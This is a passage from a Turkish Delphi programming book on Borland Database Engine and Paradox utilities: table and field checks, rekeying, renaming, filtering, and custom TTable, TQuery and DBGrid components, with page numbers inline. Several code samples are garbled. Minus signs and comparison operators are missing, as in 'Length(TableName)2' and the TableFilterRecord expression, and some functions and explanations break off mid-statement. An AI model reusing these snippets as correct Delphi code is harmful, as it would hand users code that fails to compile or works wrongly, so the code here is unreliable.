Result := ''; If Not IsTable(DatabaseName, TableName) Then Exit; Table := TTable.Create(nil); Try Try Table.Active := False; Table.DatabaseName := DatabaseName; Table.TableName := TableName; Table.Active := True; FieldIndex := FieldNo; Try FieldType := Table.FieldDefs[FieldIndex].DataType; Except FieldType := ftUnknown; End; {TFieldType Possible values are ftUnknown, ftString, ftSmallint, ftInteger, ftWord, ftBoolean, ftFloat, ftCurrency, ftBCD, ftDate, ftTime, ftDateTime, ftBytes, ftVarBytes, ftBlob, ftMemo or ftGraphic} If FieldType=ftUnknown Then Result := 'Unknown'; If FieldType=ftString Then Result := 'String'; If FieldType=ftSmallInt Then Result := 'SmallInt'; If FieldType=ftInteger Then Result := 'Integer'; If FieldType=ftWord Then Result := 'Word'; If FieldType=ftBoolean Then Result := 'Boolean'; If FieldType=ftFloat Then Result := 'Float'; If FieldType=ftCurrency Then Result := 'Currency'; If FieldType=ftBCD Then Result := 'BCD'; If FieldType=ftDate Then Result := 'Date'; If FieldType=ftTime Then Result := 'Time'; If FieldType=ftDateTime Then Result := 'DateTime'; If FieldType=ftBytes Then Result := 'Bytes'; If FieldType=ftVarBytes Then Result := 'VarBytes'; If FieldType=ftBlob Then Result := 'Blob'; If FieldType=ftMemo Then Result := 'Memo'; If FieldType=ftGraphic Then Result := 'Graphic'; Except End; Finally Table.Free; End; End;
TABLONUN ANAHTAR ALANLARI Bir tabloda, anahtar olarak kullanılan alanlar, Tstrings nesnesine doldurulur. Function DBKeyFieldNamesToTStrings( DatabaseName : String; TableName : String; Strings : TStrings): Boolean; Var Table : TTable; FieldNo : Integer; Begin Result := False; If Not IsTable(DatabaseName, TableName) Then Exit; Table := TTable.Create(nil);
1465
Try Try Table.Active := False; Table.DatabaseName := DatabaseName; Table.TableName := TableName; Table.Active := True; Strings.Clear; For FieldNo := 0 To Table.FieldDefs.Count -1 Do Begin If IsFieldKeyed( DatabaseName, TableName, Table.FieldDefs[FieldNo].Name) Then Begin Strings.Add(Table.FieldDefs[FieldNo].Name); End; End; Result := True; Except End; Finally Table.Free; End; End;
LOOKUP YÖNTEMİYLE DEĞER SEÇME DİYALOĞU Kullanıcıya bir LookUp diyaloğu gösterip, seçtiği değeri döndüren bir fonksiyondur. Eğer kullanıcı "Cancel" butonuna basarsa, boş bir karakter dizisi döner. Function DialogLookupDetail( Const DialogCaption : string; Const InputPrompt : string; Const DefaultValue : string; Const Values : TStringList; Const ButtonSpacing : Integer; Const SpacerHeight : Integer; Const TopBevelWidth : Integer; Const PromptHeight : Integer; Const FormHeight : Integer; Const FormWidth : Integer; Const Hint_OK : string; Const Hint_Cancel : string; Const Hint_ListBox : string; Const ListSorted : Boolean; Const AllowDuplicates : Boolean ): string; Var Form : TForm; Base_Panel : TPanel; Base_Buttons : TPanel; Spacer : TPanel; Base_Top : TPanel; ButtonSlider : TPanel; ButtonSpacer : TPanel; Prompt : TPanel; ListBox : TListBox; ButtonCancelB: TPanel; ButtonOKB : TPanel; Button_Cancel: TButton; Button_OK : TButton;
1466
DefItemIndex : Integer; TempValues : TStringList; Begin Result := DefaultValue; Form := TForm.Create(Application); TempValues := TStringList.Create(); Try TempValues.Sorted := ListSorted; TempValues.Clear; If AllowDuplicates Then Begin TempValues.Duplicates := dupAccept; End Else Begin TempValues.Duplicates := dupIgnore; End; If Values <> nil Then Begin TempValues.Assign(Values); End; With Form Do Begin Try Canvas.Font := Font; BorderStyle := bsSizeable; Caption := DialogCaption; Height := FormHeight; Width := FormWidth; ShowHint := True; Position := poScreenCenter; BorderIcons := [biMaximize]; Base_Panel := TPanel.Create(Form); With Base_Panel Do Begin Parent := Form; Align := alClient; Caption := ' '; BorderWidth := 10; BorderStyle := bsNone; BevelOuter := bvNone; BevelInner := bvNone; End; Base_Buttons := TPanel.Create(Form); With Base_Buttons Do Begin Parent := Base_Panel; Align := alBottom; Caption := ' '; BorderWidth := 0; BorderStyle := bsNone; BevelOuter := bvNone; BevelInner := bvNone; Height := 27; End; ButtonSlider := TPanel.Create(Form); With ButtonSlider Do Begin Parent := Base_Buttons; Align := alClient; Caption := ' '; BorderWidth := 0;
1467
BorderStyle := bsNone; BevelOuter := bvNone; BevelInner := bvNone; End; ButtonCancelB := TPanel.Create(Form); With ButtonCancelB Do Begin Parent := ButtonSlider; Align := alRight; Caption := ' '; BorderWidth := 0; BorderStyle := bsNone; BevelOuter := bvNone; BevelInner := bvNone; Width := 75+ButtonSpacing; End; ButtonSpacer := TPanel.Create(Form); With ButtonSpacer Do Begin Parent := ButtonCancelB; Align := alLeft; Caption := ' '; BorderWidth := 0; BorderStyle := bsNone; BevelOuter := bvNone; BevelInner := bvNone; Width := ButtonSpacing; End; ButtonOKB := TPanel.Create(Form); With ButtonOKB Do Begin Parent := ButtonSlider; Align := alRight; Caption := ' '; BorderWidth := 0; BorderStyle := bsNone; BevelOuter := bvNone; BevelInner := bvNone; Width := 75; End; Spacer := TPanel.Create(Form); With Spacer Do Begin Parent := Base_Panel; Align := alBottom; Caption := ' '; BorderWidth := 0; BorderStyle := bsNone; BevelOuter := bvNone; BevelInner := bvNone; Height := SpacerHeight; End; Base_Top := TPanel.Create(Form); With Base_Top Do Begin Parent := Base_Panel; Align := alClient; Caption := ' '; BorderWidth := 10;
1468
BorderStyle := bsNone; BevelOuter := bvRaised; BevelInner := bvNone; BevelWidth := TopBevelWidth; End; Prompt := TPanel.Create(Form); With Prompt Do Begin Parent := Base_Top; Align := alTop; Caption := ' '; BorderWidth := 0; BorderStyle := bsNone; BevelOuter := bvNone; BevelInner := bvNone; Caption := InputPrompt; Height := PromptHeight; Alignment := taCenter; End; Button_Cancel := TButton.Create(Form); With Button_Cancel Do Begin Parent := ButtonCancelB; Caption := 'Cancel'; ModalResult := mrCancel; Default := True; Align := alClient; Hint := Hint_Cancel; End; Button_OK := TButton.Create(Form); With Button_OK Do Begin Parent := ButtonOKB; Caption := 'OK'; ModalResult := mrOK; Default := False; Align := alClient; Hint := Hint_OK; End; ListBox := TListBox.Create(Form); With ListBox Do Begin Parent := Base_Top; Align := alClient; Hint := Hint_ListBox; Sorted := ListSorted; Focused; If TempValues <> nil Then Begin Items.Assign(TempValues); DefItemIndex := Items.IndexOf(DefaultValue); If DefItemIndex <> -1 Then Begin ItemIndex := DefItemIndex; Selected[DefItemIndex]; End Else Begin Result := '';
1469
ItemIndex := 0; Selected[0]; End; IntegralHeight := True; Button_OK.Default := True; Button_Cancel.Default := False; End Else Begin Result := ''; End; End; SetFocusedControl(ListBox); If ShowModal = mrOk Then Begin If ListBox.ItemIndex<>-1 Then Result := ListBox.Items[ListBox.ItemIndex]; End; Finally Form.Free; End; End; Finally TempValues.Free; End; End;
BİR PARADOX TABLOSUNUN YENİDEN ANAHTARLANMASI Mevcut bir Paradox tablosu, aşağıdaki fonksiyon kullanılarak yeniden anahtarlanabilir. Function DBParadoxCreateNKeys( DatabaseName : String; TableName : String; NKeys : Integer): Boolean; Var T : TTable; T2 : TTable; i : Integer; TempDBName : String; TempTblNam : String; TempTblStub: String; KeysString : String; Begin Result := False; {Select a temporary table name} TempTblStub := 'qrz'; TempDBName := DatabaseName; TempTblNam := ''; For i := 1 To 100 Do Begin TempTblNam := TempTblStub+StringPad(IntToStr(i),'0',3,False)+'.Db'; If Not IsTable(TempDBName,TempTblNam) Then Begin Break; End Else Begin
1470
If i = 100 Then Begin DBDeleteTable( TempDBName, TempTblNam); End; End; End; T := TTable.Create(nil); T2 := TTable.Create(nil); Try Try T.Active := False; T.DatabaseName := DatabaseName; T.TableName := TableName; T.Active := True; T2.Active := False; T2.DatabaseName := TempDBName; T2.TableName := TempTblNam; T2.FieldDefs.Assign(T.FieldDefs); T2.IndexDefs.Clear; KeysString := ''; For i := 0 To NKeys - 1 Do Begin If i > 0 Then Begin KeysString := KeysString + ';'; End; KeysString := KeysString + DBFieldNameByNo( DatabaseName, TableName, i); End; T2.IndexDefs.Add('',KeysString,[ixPrimary]); T2.CreateTable; T2.Active := False; T.Active := False; AddTables( DatabaseName, TableName, TempDBName, TempTblNam); DBDeleteTable(DatabaseName,TableName); T2.Active := True; T.DatabaseName := DatabaseName; T.TableName := TableName; T.FieldDefs.Assign(T2.FieldDefs); T.IndexDefs.Clear; T.IndexDefs.Add('',KeysString,[ixPrimary]); T.CreateTable; T2.Active := False; T.Active := False; AddTables( TempDBName, TempTblNam, DatabaseName, TableName); DBDeleteTable(
1471
TempDBName, TempTblNam); Result := True; Except ShowMessage('Error in Function DBParadoxCreateNKeys'); End; Finally T.Free; T2.Free; End; End;
TABLO ADININ DEĞİŞTİRİLMESİ Belirtilen tablonun adını değiştirir. Bu fonksiyon kullanılırken, veri tabanındaki referans sınırlamalarına dikkat edilmelidir. SQL tabanlı veri tabanlarında, eğer tabloya referans eden başka veri tabanı nesneleri varsa, tablonun silinmesine izin verilmeyecektir. Function DBReNameTable( DatabaseName, TableNameOld, TableNameNew: String): Boolean; Begin Result := True; Try If Not IsTable(DatabaseName, TableNameOld) Then Begin Result := False; Exit; End; {First Copy The Source Table To The New Table} If Not DBCopyTable( DatabaseName, TableNameOld, DatabaseName, TableNameNew) Then Begin Result := False; Exit; End; {Now Drop The Source Table} If Not DBDropTable(DatabaseName, TableNameOld) Then Begin Result := False; Exit; End; Except Result := False; End; End; {!~ Applies BatchMode Types As Appropriate To Source and Destination Tables} Function DBRecordMove( SourceDatabaseName, SourceTable, DestDatabaseName, DestTable: String; BMode: TBatchMode): Boolean;
1472
var S : TTable; D : TTable; B : TBatchMove; begin S := TTable.Create(nil); D := TTable.Create(nil); B := TBatchMove.Create(nil); try {Create The Source Table} S.Active := False; S.DatabaseName := SourceDatabaseName; S.ReadOnly := False; S.TableName := SourceTable; S.Active := true; {Create The Destination Table} D.Active := False; D.DatabaseName := DestDatabaseName; D.TableName := DestTable; D.ReadOnly := False; {Make the table copy} B.AbortOnKeyViol := False; B.AbortOnProblem := False; B.Destination := D; B.Source := S; B.Mode := BMode; Try B.Execute; Except End; Result := True; finally S.Free; D.Free; B.Free; end; End;
TABLO YAPILARI AYNI MI? Bu fonksiyonda, iki tablonun yapısı karşılaştırılır ve aynı ise TRUE değeri döndürülür. Function DBSchemaSame(const DatabaseName1, Table1, DatabaseName2, Table2: string): Boolean; Begin Result := IsStructureSame(DatabaseName1,Table1,DatabaseName2,Table2); End; {!~ Creates a new TSession object.} {$IFDEF WIN32} Function DBSessionCreateNew: TSession; {$ENDIF WIN32} {$IFDEF WIN32} Var List : TStringList;
1473
Seed : String; i : Integer; Ses : String; Begin Seed := 'Session'; Ses := Seed+'0'; List := TStringList.Create; Try Sessions.GetSessionNames(List); For i := 0 To 1000 Do Begin Ses := Seed + IntToStr(i); If List.IndexOf(Ses) = -1 Then Break; End; Result := Sessions.OpenSession(Ses); Finally List.Free; End; End; {$ENDIF}
BİR TABLO ALANINDAKİ DEĞERLERİN SAĞ TARAFINDAKİ BOŞLUKLARIN TEMİZLENMESİ Belirtilen alandaki değerlerin, sağ yanındaki boşlukları temizleyen bir fonksiyondur. Function DBTrimBlanksRight( DatabaseName : String; TableName : String; FieldName : String): Boolean; Var Q : TQuery; S : String; Begin { Result := False;}{zzz} Q := TQuery.Create(nil); Try Q.Active := False; Q.DatabaseName := DatabaseName; Q.RequestLive := True; Q.Sql.Clear; Q.Sql.Add('Select'); Q.Sql.Add('*'); Q.Sql.Add('From'); Q.Sql.Add('"'+TableName+'"'); Q.Active := True; Q.First; While Not Q.EOF Do Begin S := Q.FieldByName(FieldName).AsString; S := Trim(S); S := Trim(S); Q.Edit; Q.FieldByName(FieldName).AsString := S; Q.Post; Q.Next; End; Result := True; Finally Q.Free;
1474
End; End;
ARANAN ALAN, TABLODA VAR MI? Alan, belirtilen tabloda varsa fonksiyondan TRUE değeri döner. Function IsField(DatabaseName, TableName, FieldName: String): Boolean; Var Query : TQuery; T : TTable; i : Integer; UpperFN : String; TestFN : String; Begin Result := False; UpperFN := UpperCase(FieldName); If Not IsTable(DatabaseName, TableName) Then Exit; Query := TQuery.Create(nil); T := TTable.Create(nil); Try Try Query.DatabaseName := DatabaseName; Query.Sql.Clear; Query.Sql.Add('Select '); Query.Sql.Add('a.'+FieldName+' XYZ'); Query.Sql.Add('From'); If (Pos('.DB', UpperCase(TableName)) > 0) Or (Pos('.DBF',UpperCase(TableName)) > 0) Then Begin Query.Sql.Add('"'+TableName+'" a'); End Else Begin Query.Sql.Add(TableName+' a'); End; Query.Active := True; Result := True; Except Try T.Active := False; T.DatabaseName := DatabaseName; T.TableName := TableName; T.Active := True; If T.FieldDefs.IndexOf(FieldName) > -1 Then Begin Result := True; End Else Begin For i := 0 To T.FieldDefs.Count -1 Do Begin TestFN := UpperCase(T.FieldDefs[i].Name); If TestFN = UpperFN Then Begin Result := True; Break; End; End; End;
1475
T.Active := False; Except End; End; Finally Query.Free; T.Free; End; End;
ALAN ANAHTAR MI? Belirtilen alan, o tabloda mevcutsa ve anahtar olarak kullanılıyorsa, bu fonksiyondan TRUE değeri döner. Function IsFieldKeyed(DatabaseName, TableName, FieldName: String): Boolean; Var Table : TTable; FieldIndex : Integer; i : Integer; KeyCount : Integer; LocalTable : Boolean; ParadoxTbl : Boolean; DBaseTable : Boolean; TempString : String; Begin Result := False; If Not IsTable(DatabaseName, TableName) Then Exit; If Not IsField(DatabaseName, TableName, FieldName) Then Exit; TempString := UpperCase(Copy(TableName,Length(TableName)2,3)); ParadoxTbl := (Pos('.DB',TempString) > 0); TempString := UpperCase(Copy(TableName,Length(TableName)3,4)); DBaseTable := (Pos('.DBF',TempString) > 0); LocalTable := (ParadoxTbl Or DBaseTable); Table := TTable.Create(nil); Try Try Table.DatabaseName := DatabaseName; Table.TableName := TableName; Table.Active := True; KeyCount := Table.IndexFieldCount; FieldIndex := Table.FieldDefs.IndexOf(FieldName); If LocalTable Then Begin If ParadoxTbl Then Begin Result := (FieldIndex < KeyCount); End Else Begin Table.IndexDefs.UpDate; For i := 0 To Table.IndexDefs.Count-1 Do Begin {Need to check if FieldName is in the Expression listing} If Pos(UpperCase(FieldName),UpperCase(Table.IndexDefs[i].Express
1476
ion))>0 Then Begin Result := True; Break; End; {Need to check if FieldName is in the Fields listing} If Pos(UpperCase(FieldName),UpperCase(Table.IndexDefs[i].Fields) )>0 Then Begin Result := True; Break; End; End; End; End Else Begin If Table. FieldDefs[FieldIndex]. Required Then Begin Result := True; End; End; Except End; Finally Table.Free; End; End;
TABLO MEVCUT MU? Bu fonksiyon, belirtilen tablo varsa TRUE değerini döndürür. Function IsTable(DatabaseName, TableName: String): Boolean; Var Query: TQuery; Begin Result := False; Query := TQuery.Create(nil); Try Try Query.DatabaseName := DatabaseName; Query.Sql.Clear; Query.Sql.Add('Select *'); Query.Sql.Add('From'); If (Pos('.DB', UpperCase(TableName)) > 0) Or (Pos('.DBF',UpperCase(TableName)) > 0) Then Begin Query.Sql.Add('"'+TableName+'"'); End Else Begin Query.Sql.Add(TableName); End; Query.Active := True; Result := True;
1477
Except End; Finally Query.Free; End; End;
TABLO MEVCUT VE ESAS ANAHTARI VAR MI Bu fonksiyon, belirtilen tablo, mevcutsa ve öncelikli anahtara sahipse TRUE değerini döndürür. Function IsTableKeyed(DatabaseName, TableName: String): Boolean; Var Table : TTable; i : Integer; IsKeyed : Boolean; Begin Result := False; IsKeyed := False; If Not IsTable(DatabaseName, TableName) Then Exit; Table := TTable.Create(nil); Try Try Table.DatabaseName := DatabaseName; Table.TableName := TableName; Table.Active := True; For i := 0 To Table.FieldDefs.Count-1 Do Begin If Table.FieldDefs[i].Required Then Begin IsKeyed := True; Break; End; End; If IsKeyed Then Begin Result := True; End Else Begin Result := False; {Need to examine indexdefs} If (Pos('.DB', UpperCase(TableName)) > 0) Then Begin {Table is either Paradox or DBase} Table.IndexDefs.UpDate; If (Pos('.DBF', UpperCase(TableName)) > 0) Then Begin {Table is a DBase Table} If Table.IndexDefs.Count > 0 Then Begin Result := True; End; End Else Begin {Table is a Paradox Table} For i := 0 To Table.IndexDefs.Count-1 Do Begin
1478
If ixPrimary in Table.IndexDefs[i].Options Then Begin Result := True; Break; End; End; End; End Else Begin Result := False; End; End; Except End; Finally Table.Free; End; End;
MEVCUT BİR TABLO İLE AYNI YAPIDA BAŞKA BİR TABLO YARATMAK Bir veri tabanı içerisinde var olan tablo ile tıpatıp aynı bir başka tablo, herhangi bir veri tabanı içerisinde yaratılabilir. "Datali" değişkenine bağlı olarak, verilerde yeni tabloya aktarılabilir. implementation uses DB, DBTables ; {$R *.DFM} function tabloaktar(SourceDB, SourceTable, DestDb, DestTable:string; datali:boolean):boolean; var tSource, TDest: TTable; i:integer; begin TSource := TTable.create(nil); with TSource do begin DatabaseName := sourcedb; TableName := Sourcetable; open; end; TDest := TTable.create(nil); with TDest do begin DatabaseName := DestDb; TableName := DestTable; FieldDefs.Assign(TSource.FieldDefs); IndexDefs.Assign(TSource.IndexDefs); CreateTable; end; tdest.open; tsource.first; if datali then
1479
begin while not tsource.eof do begin tdest.append; for i:=0 to tsource.fieldcount-1 do begin tdest.fields[i].assign(tsource.fields[i]); showmessage(tsource.fields[i].asstring) end; tsource.Next; end; end; TSource.close; tdest.close; showmessage('aktarma bitti') end;
TABLO FİLTRELEME Bir tablonun filterelenmesi, basit olarak filter özelliğine, seçim kriterinin yazılıp, filtered özelliğinin TRUE yapılması ile yapılır. Tablo seçim kriterine uyan kayıtları gösterir, diğerlerini göstermez. Filtreleme işleminin, dinamik bir sorgu niteliğinde, form üzerindeki alanlar kullanılarak yapılması, daha kullanışlı olabilir. Örneğin, Oracle formlarında, sorgu moduna girildiğinde, veri alanlarının temizlenerek, sorgu parametrelerinin yazılmasına imkan vermekte ve sorgu uygula komutu ile birlikte, belirtilen kriterlere uygun sonuç kümesi getirilmektedir. Benzer bir yapı, Delphi formlarında da kurulabilir. Bunun için takip edilecek adımlar şunlardır. · Form üzerine,"Sorgu moduna geçiş" için kullanılacak bir buton yerleştirin. · Butona basıldığında çalışması için, OnClick olay yordamı içerisinde verilecek
1480
if length(s1)=0 then result:='*' else result:=s1; end; · ·
Filtre uygulanacak tablonun OnFilter olay yordamı parametreleri arasında bulunan ACCEPT, TRUE değerini alırsa, tablodaki o kayıt, filtreleme kriterine uygun demektir. Aksi taktirde, kayıt gösterilmeyecektir. Bu yordam aşağıdaki gibi kullanılır. Bu yordamdaki kod, tablonun her satırı için çalışarak, gereken mantıksal karşılaştırmayı yapacak ve ACCEPT parametresinin değerine göre kayıt kabul veya red edilecektir.
procedure Tf_data_ana.TableFilterRecord(DataSet: TDataSet; var Accept: Boolean); begin Accept := ((Table.FieldByName('firm_adi').AsString,nvltoyil(kurulus_adi)) and (Table.FieldByName('firm_sah').AsString, NVLtoyil(sahip_adi)) and (Table.FieldByName('VER_SCL_NO').AsString = NVLForscl(ver_sic,Table.FieldByName('VER_SCL_NO').AsString)) and (Table.FieldByName('VER_DA').AsString, nvltoyil(vrg_d)) and (Table.FieldByName('TEL').AsString= NVLForTEL(telefon,Table.FieldByName('TEL').AsString)) ); end;
ŞİFRELİ PARADOX TABLOSUNA OTOMATİK BAĞLANTI Paradox tablolarına da şifre konabilir. Bu durumda, kullanıcı bağlanırken, şifresini belirtmek zorundadır. Şifrenin uygulama tarafından otomatik olarak girilmesi için tablo açılmadan önce Session.addpassword('<şifre>'); Komutu verilmelidir.
SUBSTRİNG FONKSİYONUNUN SQL CÜMLESİNDE KULLANILMASI DBase ve Paradox veri tabanlarında sorgulama yapılırken kullanılabilecek bir fonksiyon olan SubString fonksiyonu, neredeyse hiç dökümante edilmemiştir. Bu fonksiyon, hem sorguda, hem sıralamada hem de karşılaştırma kısmında kullanılabilir. Notasyonu şu şekildedir. Substring(
DBCONTROLGRİD KAYDIRMA ÇUBUKLARI DbControlGrid bileşeninde, normalda sadece dikey kaydırma çubuğu vardır. Yatay kaydırma çubuğu görünmez. Eğer yatay kaydırma çubuğunun da görünmesi ve kullanılması istenirse yapılması gereken, ScrollBars özelliğinin yayınlanması ve seçime göre araç çubuklarının hazırlanmasıdır. unit EDBcgrd; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls,
1481
Forms, Dialogs, DBCGrids, Unit1 in '..\..\..\Program Files\Borland\Delphi 3\Unit1.pas' {Form1}; type scrollbartype=(sbBoth,SbNone,sbVertical,sbHorizontal); type TEDBCtrlGrid = class(TDBCtrlGrid) private { Private declarations } fsbars:scrollbartype; protected { Protected declarations } public { Public declarations } procedure CreateWnd;override; published { Published declarations } property ScrollBars:scrollbartype read fsbars write fsbars; end; procedure Register; implementation procedure TEDBctrlgrid.CreateWnd; begin inherited CreateWnd; case scrollbars of sbboth:showscrollbar(handle,sb_both,true); sbnone:showscrollbar(handle,sb_both,false); sbvertical:begin showscrollbar(handle,sb_vert,true); showscrollbar(handle,sb_horz,false); end; sbhorizontal:begin showscrollbar(handle,sb_vert,false); showscrollbar(handle,sb_horz,true); end; end; end; procedure Register; begin RegisterComponents('F1Delphi', [TEDBCtrlGrid]); end; end.
TABLODAN DOSYAYA AKTARMA Bir Ttable bileşeninin bağlı olduğu veri tabanı tablosundaki verilerin, Sabit kolon uzunluğunda veya, kolonlar arasına ayıraçlar koymak suretiyle metin dosyasına saklanması için geliştirilmiş bir Ttable türevi bileşene ait kod aşağıdadır. unit Exttab; interface uses
1482
Windows, Messages, SysUtils, Classes, Graphics, Controls,dialogs, Db, DBTables,StdCtrls,ComCtrls,WinTypes, WinProcs, ExtCtrls,DBCtrls; const LANGUAGE='TURKISH'; REGISTERED=FALSE; type TExtTab= class(Ttable) private { Private declarations } f_message:string; f_about:string; f_delimited:boolean; f_delimeter:string; f_filename:string; protected { Protected declarations } public { Public declarations } published procedure SaveToFile; property IsDelimited:boolean read f_delimited write f_delimited; property Delimeter:string read f_delimeter write f_delimeter; property FilePathAndName:string read f_filename write f_filename; property About:string read f_about write f_about; { Published declarations } end; implementation var msgid:integer; procedure TExtTab.SaveToFile; function tamamla(instr:string;x:integer;j:integer):string; var l,t:integer; begin if (IsDelimited) and (delimeter='') then delimeter:='@'; if not isdelimited then begin if length(fields[j].fieldname)>=x then x:=length(fields[j].fieldname); for l:=1 to x-length(instr) do instr:=instr+' '; result:=instr+' '; end else result:=instr+delimeter; end; var col_count:integer; row_count:integer; z,i,j:integer;
1483
row:string; f:system.text; st,et,ft:ttime; begin if not active then open; if FilePathAndName='' then begin filepathandname:= InputBox('Dikkat', 'Dosya ismini belirtiniz!', 'c:\TmpName.txt'); end; col_count:=fieldcount; row_count:=recordcount; rewrite(f,FilePathAndName); first; disablecontrols; st:=time; for j:=0 to col_count-1 do write(f,tamamla(fields[j].fieldname,fields[j].displaywidth,j) ); writeln(f,''); for i:=0 to row_count-1 do begin for j:=0 to col_count-1 do begin if ord(fields[j].datatype)<14 then begin row:=tamamla(fields[j].asstring,fields[j].displaywidth,j); write(f,row); end; end; next; writeln(f,''); end; et:=time; ft:=et-st; showmessage('Başlangıç: '+timetostr(st)+' '+' Bitiş: '+timetostr(et)+''#10#13+ 'Kayıt Sayısı: '+inttostr(fieldcount)+' Kolon X '+inttostr(recordcount)+' Satır.'#10#13+ 'İşlem tamam!'); enablecontrols; closefile(f); end; end.
SORGUDAN DOSYAYA AKTARMA Tquery bileşeni kullanarak yapılan sorgu neticesinde dönen sonuç kümesinin, metin dosyasına atılması için geliştirilmiş Tquery türevi bir bileşene ait kod örneği aşağıdadır. Bu örnekte, Dene ve al sürümü, bileşen uygulamasına örnek bir yöntem de yer almaktadır. unit ExtQuery; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
1484
Dialogs,Db, DBTables, WinTypes, WinProcs, ExtCtrls,DBCtrls; const LANGUAGE='TURKISH'; REGISTERED=FALSE; type TExtQuery = class(TQuery) private { Private declarations } f_message:string; f_about:string; f_delimited:boolean; f_delimeter:string; f_filename:string; protected { Protected declarations } public { Public declarations } published procedure SaveToFile; property IsDelimited:boolean read f_delimited write f_delimited; property Delimeter:string read f_delimeter write f_delimeter; property FilePathAndName:string read f_filename write f_filename; property About:string read f_about write f_about; constructor create(aowner:tcomponent);override; destructor destroy;override; { Published declarations } end; implementation var msgid:integer; constructor TExtquery.create(aowner:tcomponent); begin inherited; about:='Written by Faruk DEMİREL ([email protected]) 01.02.1998 Turkey'; if (not registered) AND (componentstate <> [csDesigning]) then {Eğer kayıtlı bir kullanıcı değilse ve uygulama çalışma modunda ise, uyarı ve tanıtım mesajını ver.} if language='ENGLISH' then begin showmessage ('EXTENDED QUERY'+#10#13+ 'TRIAL'+#10#13+ 'BY FARUK DEMİREL'+#10#13+ '[email protected]'); msgid:=300; end else begin showmessage ('EXTENDED QUERY'+#10#13+ 'DENE VE AL SÜRÜMÜ'+#10#13+ 'YAZAN FARUK DEMİREL'+#10#13+ '[email protected]'); msgid:=100; end;
1485
end; destructor TExtquery.destroy; begin inherited; end; procedure TExtQuery.SaveToFile; function tamamla(instr:string;x:integer):string; var l,t:integer; begin if (IsDelimited) and (delimeter='') then delimeter:='@'; if FilePathAndName='' then begin showmessage('Invalid path or filename'); exit; end; if not isdelimited then begin if length(instr)
1486
writeln(f,''); end; closefile(f); end; end.
ÖZEL BİR DBGRİD Tarih alanlarına veri girişi herzaman problemdir. Bilgisayarların tarih formatları farklı olabileceği gibi, kullanıcıların tarih kullanma alışkanlıklarındaki farklılıklar da, veri tabanına tarih girişi işlemlerinde, hata mesajlarına sebep olur. Aşağıdaki bileşen, DBGrid bileşeninden türetilmiş olup, Tarih alanına çift tıklandığında, otomatik olarak açılan bir takvimden seçim yapmak suretiyle bilgi girişini sağlamaktadır. unit ExtDbGrid; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,Db, DBTables,buttons, StdCtrls, DBGrids,ComCtrls, WinTypes, WinProcs, ExtCtrls, Menus, Calendar,DBCtrls; const Tdatefieldtype=9; type TExtDbGrd = class(TDBGrid) private { Private declarations } f_message:string; f_about:string; protected { Protected declarations } public { Public declarations } published property About:string read f_about write f_about; procedure DblClick;override; procedure Takvimyap; procedure Takvimkapat; procedure mybtnclick(sender:tobject); constructor create(aowner:tcomponent);override; destructor destroy;override; { Published declarations } end; implementation {$R *.RES} var takvimform:tform; takvimpanel:tpanel; takvim:tcalendar; takvimbtn:array [1..6] of tspeedbutton; takvimedit:tedit; msgid:integer; oneinstance:boolean; constructor TExtDbGrd.create(aowner:tcomponent); begin
1487
inherited; color:=clyellow; font.color:=clblue; about:='Written by Faruk DEMİREL ([email protected]) 01.02.1998 Turkey'; end; destructor TExtdbgrd.destroy; begin inherited; end; procedure TExtDbGrd.dblclick; begin inherited; if not oneinstance then begin if ord(fields[selectedindex].datatype)=11 then SHOWMESSAGE('TarihSaat tipindeki alanlarda takvim açılmaz'); if (ord(fields[selectedindex].datatype)=TdateFieldType) then begin oneinstance:=true; takvimyap; takvim.calendardate:=strtodate(fields[selectedindex].asstring ); end; end; end; procedure TEXTDBGRD.Takvimyap; var i:integer; begin takvimform:=tform.create(self); takvimform.width:=267; takvimform.height:=195; takvimform.borderstyle:=bstoolwindow; takvimform.formstyle:=fsstayontop; takvimform.visible:=false; takvimform.BORDERICONS:=[]; {takvim paneli} takvimpanel:=tpanel.create(self); takvimpanel.width:=250; takvimpanel.height:=160; takvimpanel.parent:=takvimform; takvimpanel.left:=5 ; takvimpanel.top:=5; {takvim} takvim:=tcalendar.create(takvimpanel); takvim.parent:=takvimpanel; takvim.left:=10; takvim.top:=10; takvim.width:=200; takvim.color:=color; takvim.font.color:=font.color; {takvim butonları} for i:=1 to 6 do
1488
begin takvimbtn[i]:=tspeedbutton.create(self); takvimbtn[i].parent:=takvimpanel; takvimbtn[i].left:=215; takvimbtn[i].width:=25; takvimbtn[i].height:=22; takvimbtn[i].top:=10+25*(i-1); takvimbtn[i].onclick:=mybtnclick; takvimbtn[i].tag:=i; takvimbtn[i].showhint:=true; end; takvimbtn[1].GLYPH.Handle := LoadBitmap(HInstance,'PY'); takvimbtn[1].hint:='Önceki Yıl'; takvimbtn[2].GLYPH.Handle := LoadBitmap(HInstance,'PM'); takvimbtn[2].hint:='Önceki Ay'; takvimbtn[3].GLYPH.Handle := LoadBitmap(HInstance,'NM'); takvimbtn[3].hint:='Sonraki Ay'; takvimbtn[4].GLYPH.Handle := LoadBitmap(HInstance,'NY'); takvimbtn[4].hint:='Sonraki Yıl'; takvimbtn[5].GLYPH.Handle := LoadBitmap(HInstance,'CHOOSE'); takvimbtn[5].hint:='Seç'; takvimbtn[6].GLYPH.Handle := LoadBitmap(HInstance,'QUIT'); takvimbtn[6].hint:='Çık'; {takvim editi} takvimedit:=tedit.create(self); takvimedit.parent:=takvimpanel; takvimedit.left:=75 ; takvimedit.top:=130; takvimedit.width:=70; takvimedit.text:=datetostr(takvim.calendardate); takvimedit.readonly:=true; takvimform.formstyle:=fsstayontop; takvimform.visible:=true; takvimform.show; end; procedure TExtDbGrd.Takvimkapat; var i:integer; begin for i:=1 to 5 do takvimbtn[i].free; takvim.free; takvimedit.free; takvimpanel.free; takvimform.visible:=false; takvimform.Free; oneinstance:=false; end; procedure TExtDbGrd.mybtnclick(sender:tobject); begin case (sender as tspeedbutton).tag of 1:{- yıl}begin
1489
